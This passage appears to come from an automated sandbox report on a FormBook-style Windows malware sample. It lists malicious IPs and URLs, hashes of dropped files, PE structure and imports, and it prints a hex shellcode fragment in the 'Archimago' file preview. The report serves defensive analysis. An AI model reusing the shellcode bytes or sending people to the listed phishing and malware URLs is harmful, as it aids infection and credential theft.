                                              • 52.6.96.124
                                              kpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                              • 3.226.182.14
                                              call_Playback_moog.com.htmlGet hashmaliciousHTMLPhisherBrowse
                                              • 100.29.154.22
                                              BNd5XPrLzR.elfGet hashmaliciousMirai, MoobotBrowse
                                              • 34.235.30.75
                                              GIW8jzBGQQ.elfGet hashmaliciousMirai, MoobotBrowse
                                              • 54.211.208.181
                                              g75NqH852l.elfGet hashmaliciousMirai, MoobotBrowse
                                              • 52.6.223.247
                                              AUTOMATTICUSAud_Msg_Scs_V.M1f536dcd0e8af1baf5dc97ff0a839f87a34b25b7.htmlGet hashmaliciousUnknownBrowse
                                              • 192.0.78.26
                                              http://blogairmasonwp.wpuserpowered.comGet hashmaliciousUnknownBrowse
                                              • 192.0.73.2
                                              Remittance advice 26b44723892edfbd6baf.emlGet hashmaliciousHTMLPhisherBrowse
                                              • 192.0.78.26
                                              Quarantined Messages.zipGet hashmaliciousHTMLPhisherBrowse
                                              • 192.0.78.27
                                              http://www.qxlogistix.comGet hashmaliciousUnknownBrowse
                                              • 192.0.76.3
                                              Aud_Msg_Levelfourfinancial_V.M3446b5121533ecceed92c4b053acd666af0c48da.htmlGet hashmaliciousHTMLPhisherBrowse
                                              • 192.0.78.27
                                              Aud_Msg_Enablecomp_V.Ma6932c7c07d4e69c2bff4afd373e8086e46e204b.htmlGet hashmaliciousHTMLPhisherBrowse
                                              • 192.0.78.26
                                              http://playsportzone.comGet hashmaliciousUnknownBrowse
                                              • 192.0.77.2
                                              https://hotel-347695.eu/confirm/login/LORdtLVvGet hashmaliciousUnknownBrowse
                                              • 192.0.78.26
                                              https://www.winhelponline.com/blog/microsoft-edge-url-shortcut/Get hashmaliciousHTMLPhisherBrowse
                                              • 192.0.76.3
                                              SQUARESPACEUSINVOICE - MV CNC BANGKOK - ST24PJ-278.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              Att0027592.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              kpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              DHL_AWB#6078538091.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              yq5xNPpWCT.exeGet hashmaliciousPureLog Stealer, SystemBCBrowse
                                              • 198.185.159.145
                                              SecuriteInfo.com.Exploit.CVE-2018-0798.4.23906.18593.rtfGet hashmaliciousFormBookBrowse
                                              • 198.185.159.145
                                              AWB_NO_907853880911.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              IZPnmcCu5EZWa98.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              unexpressiveness.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              • 198.185.159.144
                                              iY.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              AMAZON-02USINVOICE - MV CNC BANGKOK - ST24PJ-278.exeGet hashmaliciousFormBookBrowse
                                              • 44.227.76.166
                                              Materials specification with quantities.exeGet hashmaliciousFormBookBrowse
                                              • 3.64.163.50
                                              PROFORMA INVOICE - MV CNC BANGKOK - ST24PJ-287.exeGet hashmaliciousFormBookBrowse
                                              • 44.227.76.166
                                              Payment_AdviceHyperoptic.htmlGet hashmaliciousHTMLPhisherBrowse
                                              • 13.32.99.118
                                              https://na4.docusign.net/Signing/EmailStart.aspx?a=95fa3666-e4d2-4181-926f-7d752b5d1bb7&acct=4b225f64-a250-4de3-9bb5-6320c76f2c33&er=388f7591-fe27-446f-8df0-11aebdd778b2Get hashmaliciousUnknownBrowse
                                              • 35.162.207.33
                                              http://zoom.voipmessage.uk/XTVNEL3Y5b1J3cmNET2VKbmR6bVRsN3V1NmVOY1NGblBJVC9iTE8rdVgxbTVqY2FOZnZ4TUM0ZlFjRHpCR3RWejFXajBVK2d4TW1YbEM3bTdUSWMzV3hrSEFpYnNQL282UDBDM1E0OVhPS1ZjR1JpSzJpRlZZSGVWc3RkVld1K0ZNM2t1YU5qN0hocjRoMWlOeXBkYzlZUXdMYysyWTZaUWtNVVlSWWVCNG1FTnBPWXc3R2RFWjJSbVNEcEw3clVRbTRHVzNRPT0tLUR6bnh4akFBbEUrU3NKL3YtLXRQbTlZaDQ1Tzd4b0NQSFdzTDA4eWc9PQ==Get hashmaliciousUnknownBrowse
                                              • 34.248.74.196
                                              Agreement for Bmangan 5753.pdfGet hashmaliciousHTMLPhisherBrowse
                                              • 13.32.99.103
                                              YBzCUPEvkm.exeGet hashmaliciousUnknownBrowse
                                              • 52.78.112.22
                                              YBzCUPEvkm.exeGet hashmaliciousUnknownBrowse
                                              • 52.78.112.22
                                              http://links.notification.intuit.com/ls/click?upn=u001.4HBRtPy8j6uXsK2aeX2RzAh5EFPhCIIFV3VEN-2Fx7CtL7yL0rqbEG5To4Yn7gWqQ9aLy0xQjXtfA1aWI51jOBcgZZmdPU7rNXiI9qBQrw0Fh0XMUzwxEuUgv3ZFNQWIem-2BNTPYnrL9k9a1nDRjz4a88WPYyDduqTuKohuiQXsusYwJ-2FidZWWf8oC-2Bke5XZf6maHD-2Fd7ablYFhYAopCg9-2FJ24-2F8yZwA220wlNNRUX0yppVttR34V4P26behAEAgmPnWgi1QdqkcH8GVovfzu4LIw-3D-3DQBy7_5Y9C-2B-2Fzbmi1Z8AZ1P0Xb45Ep-2FzkkH96c1HQoTeKyfF3Cy9GA0JrKF-2FtBKU7Gy7tV6PIIEw2aSpbKuiOE5zUrdfKHijLS1CrX6di2rdCWz3230MnOWYRyIFetWhrSPF9k5LzSphdJmNETjrHElDpdShj1s4ILnQWpWcU1acTiMnif850-2BYV-2F5lXeG2jTC-2BOwApN8qupRmwT8fNNE9PPcwErJLxahBxSpmSq91gTlumLJlQuv6Mi-2FueOgXZeZsKYVaksXeYc4hm3iYcmZyYCYz0c5CytX-2FkcYDgjcEPGcMdE4wdmef7F34ZhNuR1BzXUZca-2BlM-2FSHy6Wcv-2B44fNGLavW0-2FgwmkSe7DWrN2Qxs4-2BbmqEK8zVd2B-2F-2BfhLv7s-2BwUYCFzSfpco2w0S0EkPk2QiaigfgYJrhsDWFQrr8XAjN8LEK9fzOOYMlKBdNBCCovn1-2BQdoVowInLACYcfv7UF18ixzp9yjXcoI2GtVtXTFy0zwL-2BunyW6y6aLD3UTkKp7eGuS-2Fs2l9K233QQTHOgsxIsW5yOnAipuno6Jz4FUupJjvG-2FSd7m5GLY99tPmOlknWYVUdaS4l4nbH7zNFdVoP-2Fmr7J9FoB812uhszre4JhgikLbqFLMCT1av4GEdnKOwpstUkw9rVNgxd2MHPktA30uhIQeOnTGGKgw66UsPvJvw-3DGet hashmaliciousUnknownBrowse
                                              • 54.231.169.168
                                              TEAMINTERNET-ASDEDHL AWB DOCUMENT.pdf.exeGet hashmaliciousFormBookBrowse
                                              • 185.53.179.93
                                              yq5xNPpWCT.exeGet hashmaliciousPureLog Stealer, SystemBCBrowse
                                              • 185.53.177.112
                                              Documento di bonifico bancario intesa Sanpaola 20240613 EUR23750.exeGet hashmaliciousFormBookBrowse
                                              • 185.53.179.92
                                              DHL ARRIVAL DOCUMENTS.pdf.exeGet hashmaliciousFormBookBrowse
                                              • 185.53.179.90
                                              Mbabane.exeGet hashmaliciousFormBookBrowse
                                              • 185.53.178.13
                                              http://protect.dscsec.com/software.htmGet hashmaliciousHTMLPhisherBrowse
                                              • 185.53.179.29
                                              TT-SWIFT-Schindler.exeGet hashmaliciousFormBookBrowse
                                              • 185.53.179.90
                                              cca9sXT33VsAEdu.exeGet hashmaliciousFormBookBrowse
                                              • 185.53.179.90
                                              c5018a3915e8a9de41e083f7936c2d232b9a73ba41c8c07fb7b2d90d5f5d8e8e_dump.exeGet hashmaliciousSystemBCBrowse
                                              • 185.53.177.20
                                              t5SYVk0Tkt.exeGet hashmaliciousPureLog Stealer, SystemBCBrowse
                                              • 185.53.177.31

                                              JA3 Fingerprints

                                              ⊘No context

                                              Dropped Files

                                              ⊘No context

                                              Created / dropped Files

                                              C:\Users\user\AppData\Local\Temp\Archimago

                                              Download File
                                              Process:C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe
                                              File Type:ASCII text, with very long lines (28756), with no line terminators
                                              Category:modified
                                              Size (bytes):28756
                                              Entropy (8bit):3.5858191560325166
                                              Encrypted:false
                                              SSDEEP:768:miTZ+2QoioGRk6ZklputwjpjBkCiw2RuJ3nXKUrvzjsNbX+IZ6Gg4vfF3if6gyHV:miTZ+2QoioGRk6ZklputwjpjBkCiw2RH
                                              MD5:81BF57A1F736882763E7CB9AB52C93DD
                                              SHA1:6A499908C6F6476C8630CBBF9E96E668F9AAE58F
                                              SHA-256:FFE64820D18F1947401C04347DC54960D77E2B69329D44AA2D059835E6C029E9
                                              SHA-512:2CECA33AF0797FBC015C73A517518E904C5A261B638DE65AFDB852DBF23E7966732022E4D29F24114B2EE3FF505333C131F5E099D0288EE2DA6943580CFCAB23
                                              Malicious:false
                                              Reputation:low
                                              Preview:8D6804F867D7E3ED21599F86932DA5673082A29A59B06B261C54E6F1DF089BBB368C973697738FDC880x558bec81eccc0200005657b86b00000066894584b96500000066894d86ba7200000066895588b86e0000006689458ab96500000066894d8cba6c0000006689558eb83300000066894590b93200000066894d92ba2e00000066895594b86400000066894596b96c00000066894d98ba6c0000006689559a33c06689459cb96e00000066898d44ffffffba7400000066899546ffffffb86400000066898548ffffffb96c00000066898d4affffffba6c0000006689954cffffffb82e0000006689854effffffb96400000066898d50ffffffba6c00000066899552ffffffb86c00000066898554ffffff33c966898d56ffffffba75000000668955d0b873000000668945d2b96500000066894dd4ba72000000668955d6b833000000668945d8b93200000066894ddaba2e000000668955dcb864000000668945deb96c00000066894de0ba6c000000668955e233c0668945e4b96100000066898d68ffffffba640000006689956affffffb8760000006689856cffffffb96100000066898d6effffffba7000000066899570ffffffb86900000066898572ffffffb93300000066898d74ffffffba3200000066899576ffffffb82e00000066898578ffffffb96400000066898d7affffff

                                              C:\Users\user\AppData\Local\Temp\autBE59.tmp

                                              Download File
                                              Process:C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):180122
                                              Entropy (8bit):7.982305935823246
                                              Encrypted:false
                                              SSDEEP:3072:k5e8p2I3nQlVBt7rb+bZCApdsHv+C2qJK8qZt9x9uhueR93w1O33GCKq4C+:k5em/niVvrb+bYJDQ3PeUefw1i38C+
                                              MD5:722AA846E3E8D1F83F0906B4CD806CE4
                                              SHA1:8796CCAB0C671CE93C73F883444FD63FEE7848CF
                                              SHA-256:D0BF6F309A42009F162054CC091AA6993479CEDE3D89E02F403E7AEF9DB85110
                                              SHA-512:70A081B8424B5036F9AD5E5631146F2CB0A39834834545FB536DDF6E1F7C26BFA6E894E24E583053B3946CA238EA52C9DAF5CE205B84A82BC6B126B5C4F3288B
                                              Malicious:false
                                              Reputation:low
                                              Preview:EA06.....X.t.6.G7[._+.....y.O....i<m....4.'5...sP..... ..^..?).j/..r.8.FsJ.P...4.H....w.M.d..P.F`W.$Z.+..-..j:.........$...i..q$..mC...r.....C...&....Y..vk.....8.v........Pn.....<.G......f..,.B...-....'5.H.i....*...4Uf.*...iP.u`..l@.. ..+t(..9.L..`....i.....#......y...$..6~p....4`.ti.....Q'3....T.7...................p.........n.}.Ja...f.....?..7W<.b....6X.l+...`...*....U..Vm.Sf.kM/.Vq.o|J....3:..a..i.X..be..xl..O1..L.[8..C...'..X.....1.}.sc..r....'.v..N.n...Lp.*.....)8....L.m.:.$.1...6.m.2.9.e.Y|...S.=.5W...3}7.G...`.g....O9...v...y9..be..Q..n..M..j..<...[+.=.._9..[.=..M....o.....g.,G..S.kg}.uce..M........&...o..lc.~.'...aTm. ...`#T_..J....i....'>...A#.~...W.#.n......I.Dg...;q...).~.j...N....#...VM.....~..~.W........#2...=.%7eQ.E....x..a.X...f.....S}r.v......T.......u:.....h!.....c.OzP......k.x%#....6.^L.q...7|n..c...5.O'[..i....Ou........y..h4<|..K..Dv[^LRS....[/f35.j........8y.B......y.r......".1..*px-#u..r.....w....

                                              C:\Users\user\AppData\Local\Temp\autBE98.tmp

                                              Download File
                                              Process:C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):9810
                                              Entropy (8bit):7.602225440726837
                                              Encrypted:false
                                              SSDEEP:192:65jwEiq+uHKrLM0IltC6jQqSa6fYHToxycO+m3wYDklARuQZMZa:I6q+Brw/gjYKycHmNsAR+Za
                                              MD5:E0BC3F5B60594F016620C0ACE95C367F
                                              SHA1:0D4ECC4CA3699F1172FF2B94EC58B039344F4D43
                                              SHA-256:7D2CD47E3604F82288A93535B438C5BA38F5B37E31D3C9F986F388134D4B10AE
                                              SHA-512:FB3D298B7044CAA42AFC4D9DAD0F726BCF739C266FB45DE05D8829740650246CE8B92B3F19CF8F489E11BB4215AAB947C1D58FC586DEB6993E2E8384B9B045BF
                                              Malicious:false
                                              Reputation:low
                                              Preview:EA06..pT.Q&...8.M.z,.D.Lf....y9......o3.N&T...5...j..m1..f.Y..cD.L'.....3.N(s...m9...s.5..8.L/.Y...e..&6[...0.L..I..k7.N&. ..a0.M.....q4.Nf.P.....K..d.%...p.lY@.......c.Xf.0.o..b.L.`...,@. ...3+..d....s4.l&..........|....sa...`.........Y&.K0.....-vs5.M..2...N&.I...@.>..........$.0...fx. ..$l...I...#..$6...... ..... .Z...a.5..&.).....L.j.;$....M.j.;$....X@j.;%....Y@j.;,.....j.e.|f #^...j......l.....l.5....>0..Xf....M.^....$zn.....G..I....C...M.|........}S{....7...| l..P..........0...`>;..c7.6..{......=..7..............6,......b...,S ...i5.M.4.b..i|v)....b.h.,@..%........9....c...|3Y..h......._......@.>K...,v[..q5.M,.@..i7.X......9....2.......,.`....3.,.i8........}.k(.f..@..M&V....7.,.x....&.......0.......Fh...Fb.....3.."a9...`....,vb.....cd.X..P.Fl.Y.$..c. ....I...d..f.!...,vd......8..P.......0.....2...y...D.......c.0.......b.<NA...NM..;4.X.q1..&@Q..B.Y.ah......Yl.i..."..Bvj.........ic..'3Y..'f.....,j.1........C.`....7b.., .p..T.......Y,Vi......@

                                              C:\Users\user\AppData\Local\Temp\miaoued

                                              Download File
                                              Process:C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):189440
                                              Entropy (8bit):7.834985627824351
                                              Encrypted:false
                                              SSDEEP:3072:fgI4JKUp4VyrJOpw0NnOJE/6ugiac49jK7zndW/oziv/KH2zhJqTqJ74ja:fuJKYLB0JH6ugiIpKHdW/oYFh8TqD
                                              MD5:C66B2FBD6C6E481C99D39012B54602B8
                                              SHA1:A8527BECF8B3F77B1AA0265CAF97C735D3C42EE4
                                              SHA-256:32D6A0E4B5E58589FA47F953B16A1DC3FFE0449FBD91B1D16FB3D654BC034595
                                              SHA-512:BD9F15059A857F6472CAEA046BCE567103C39EE965026919558ED23BFB8C4347EDE41317F6821EBCC85E5710C3DC856CE346E90C473FB3CAFEDA1E8A316208D7
                                              Malicious:false
                                              Reputation:low
                                              Preview:.c.k.3W6R...K....z.W5...qAI..F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6.D9YL^.^9.:...Eu.c.Q9JfC%Y56X4b"X>W)GwT7dK,,aP>..|..?+]<lL4Z.F3W6RD9.I.. ...4...$..P....P.9....6..3...._..(Z8..U.6RD9YBA9P9F3W6RDi.BAuQ8Fa<..D9YBA9P9.3U7YE3YB.;P9F3W6RD9.@9P)F3W.PD9Y.A9@9F3U6RA9XBA9P9C3V6RD9YB.;P9D3W6RD9[B..P9V3W&RD9YRA9@9F3W6RT9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9w6$A$9F3..PD9IBA9.;F3G6RD9YBA9P9F3W6rD99BA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9YBA9P9F3W6RD9Y

                                              Static File Info

                                              General

                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                              Entropy (8bit):7.068227553174271
                                              TrID:
                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                              • DOS Executable Generic (2002/1) 0.02%
                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                              File name:2024 Lusail Fence-WITH STICKER-2-003.exe
                                              File size:1'128'960 bytes
                                              MD5:e03cefcd99feaf7ca8fd37a4bec8280c
                                              SHA1:1ef21abddff685aeb42767f9288d67bf22a9422d
                                              SHA256:f86b5c769c4ae7db9a13fa32b90030bf8b700d8d0f5c30584044942602d2af30
                                              SHA512:af81a05f31cc3cd87872f95d448ce65936c6cd9ee8296c2ee46fd9af7b1cc7f76104c4272c4ce03d206086cb676e034e8a40670ec98494de8c28e551f2776277
                                              SSDEEP:24576:2AHnh+eWsN3skA4RV1Hom2KXMmHaFUjMJc+pSA1TZHrhb5:Rh+ZkldoPK8YaFXJnrT
                                              TLSH:B435BD0273D5C036FFAB92739B6AF20556BD79254133852F13982DB9BC701B2227E663
                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

                                              File Icon

                                              Icon Hash:aaf3e3e3938382a0

                                              Static PE Info

                                              General

                                              Entrypoint:0x42800a
                                              Entrypoint Section:.text
                                              Digitally signed:false
                                              Imagebase:0x400000
                                              Subsystem:windows gui
                                              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                              DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                              Time Stamp:0x6681E421 [Sun Jun 30 23:02:57 2024 UTC]
                                              TLS Callbacks:
                                              CLR (.Net) Version:
                                              OS Version Major:5
                                              OS Version Minor:1
                                              File Version Major:5
                                              File Version Minor:1
                                              Subsystem Version Major:5
                                              Subsystem Version Minor:1
                                              Import Hash:afcdf79be1557326c854b6e20cb900a7

                                              Entrypoint Preview

                                              Instruction
                                              call 00007FE2C8B26E2Dh
                                              jmp 00007FE2C8B19BE4h
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              int3
                                              push edi
                                              push esi
                                              mov esi, dword ptr [esp+10h]
                                              mov ecx, dword ptr [esp+14h]
                                              mov edi, dword ptr [esp+0Ch]
                                              mov eax, ecx
                                              mov edx, ecx
                                              add eax, esi
                                              cmp edi, esi
                                              jbe 00007FE2C8B19D6Ah
                                              cmp edi, eax
                                              jc 00007FE2C8B1A0CEh
                                              bt dword ptr [004C41FCh], 01h
                                              jnc 00007FE2C8B19D69h
                                              rep movsb
                                              jmp 00007FE2C8B1A07Ch
                                              cmp ecx, 00000080h
                                              jc 00007FE2C8B19F34h
                                              mov eax, edi
                                              xor eax, esi
                                              test eax, 0000000Fh
                                              jne 00007FE2C8B19D70h
                                              bt dword ptr [004BF324h], 01h
                                              jc 00007FE2C8B1A240h
                                              bt dword ptr [004C41FCh], 00000000h
                                              jnc 00007FE2C8B19F0Dh
                                              test edi, 00000003h
                                              jne 00007FE2C8B19F1Eh
                                              test esi, 00000003h
                                              jne 00007FE2C8B19EFDh
                                              bt edi, 02h
                                              jnc 00007FE2C8B19D6Fh
                                              mov eax, dword ptr [esi]
                                              sub ecx, 04h
                                              lea esi, dword ptr [esi+04h]
                                              mov dword ptr [edi], eax
                                              lea edi, dword ptr [edi+04h]
                                              bt edi, 03h
                                              jnc 00007FE2C8B19D73h
                                              movq xmm1, qword ptr [esi]
                                              sub ecx, 08h
                                              lea esi, dword ptr [esi+08h]
                                              movq qword ptr [edi], xmm1
                                              lea edi, dword ptr [edi+08h]
                                              test esi, 00000007h
                                              je 00007FE2C8B19DC5h
                                              bt esi, 03h

                                              Rich Headers

                                              Programming Language:
                                              • [ASM] VS2013 build 21005
                                              • [ C ] VS2013 build 21005
                                              • [C++] VS2013 build 21005
                                              • [ C ] VS2008 SP1 build 30729
                                              • [IMP] VS2008 SP1 build 30729
                                              • [ASM] VS2013 UPD5 build 40629
                                              • [RES] VS2013 build 21005
                                              • [LNK] VS2013 UPD5 build 40629

                                              Data Directories

                                              NameVirtual AddressVirtual Size Is in Section
                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xbc0cc0x17c.rdata
                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xc80000x493c0.rsrc
                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x1120000x7134.reloc
                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa4b500x40.rdata
                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                              Sections

                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                              .text0x10000x8dfdd0x8e000310e36668512d53489c005622bb1b4a9False0.5735602580325704data6.675248351711057IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .rdata0x8f0000x2fd8e0x2fe00748cf1ab2605ce1fd72d53d912abb68fFalse0.32828818537859006data5.763244005758284IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .data0xbf0000x8f740x5200aae9601d920f07080bdfadf43dfeff12False0.1017530487804878data1.1963819235530628IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                              .rsrc0xc80000x493c00x49400b0ab26ca3cee2bcc17dc2c6b6754e77eFalse0.9108361774744027data7.85296358499576IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .reloc0x1120000x71340x7200f04128ad0f87f42830e4a6cdbc38c719False0.7617530153508771data6.783955557128661IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                              Resources

                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                              RT_ICON0xc85a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                              RT_ICON0xc86d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                              RT_ICON0xc87f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                              RT_ICON0xc89200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                              RT_ICON0xc8c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                              RT_ICON0xc8d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                              RT_ICON0xc9bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                              RT_ICON0xca4800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                              RT_ICON0xca9e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                              RT_ICON0xccf900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                              RT_ICON0xce0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                              RT_MENU0xce4a00x50dataEnglishGreat Britain0.9
                                              RT_STRING0xce4f00x594dataEnglishGreat Britain0.3333333333333333
                                              RT_STRING0xcea840x68adataEnglishGreat Britain0.2747909199522103
                                              RT_STRING0xcf1100x490dataEnglishGreat Britain0.3715753424657534
                                              RT_STRING0xcf5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                              RT_STRING0xcfb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                              RT_STRING0xd01f80x466dataEnglishGreat Britain0.3605683836589698
                                              RT_STRING0xd06600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                              RT_RCDATA0xd07b80x40688data1.0003449373805986
                                              RT_GROUP_ICON0x110e400x76dataEnglishGreat Britain0.6610169491525424
                                              RT_GROUP_ICON0x110eb80x14dataEnglishGreat Britain1.25
                                              RT_GROUP_ICON0x110ecc0x14dataEnglishGreat Britain1.15
                                              RT_GROUP_ICON0x110ee00x14dataEnglishGreat Britain1.25
                                              RT_VERSION0x110ef40xdcdataEnglishGreat Britain0.6181818181818182
                                              RT_MANIFEST0x110fd00x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                              Imports

                                              DLLImport
                                              WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
                                              VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
                                              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                              COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                              MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                              WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
                                              PSAPI.DLLGetProcessMemoryInfo
                                              IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                              USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
                                              UxTheme.dllIsThemeActive
                                              KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, 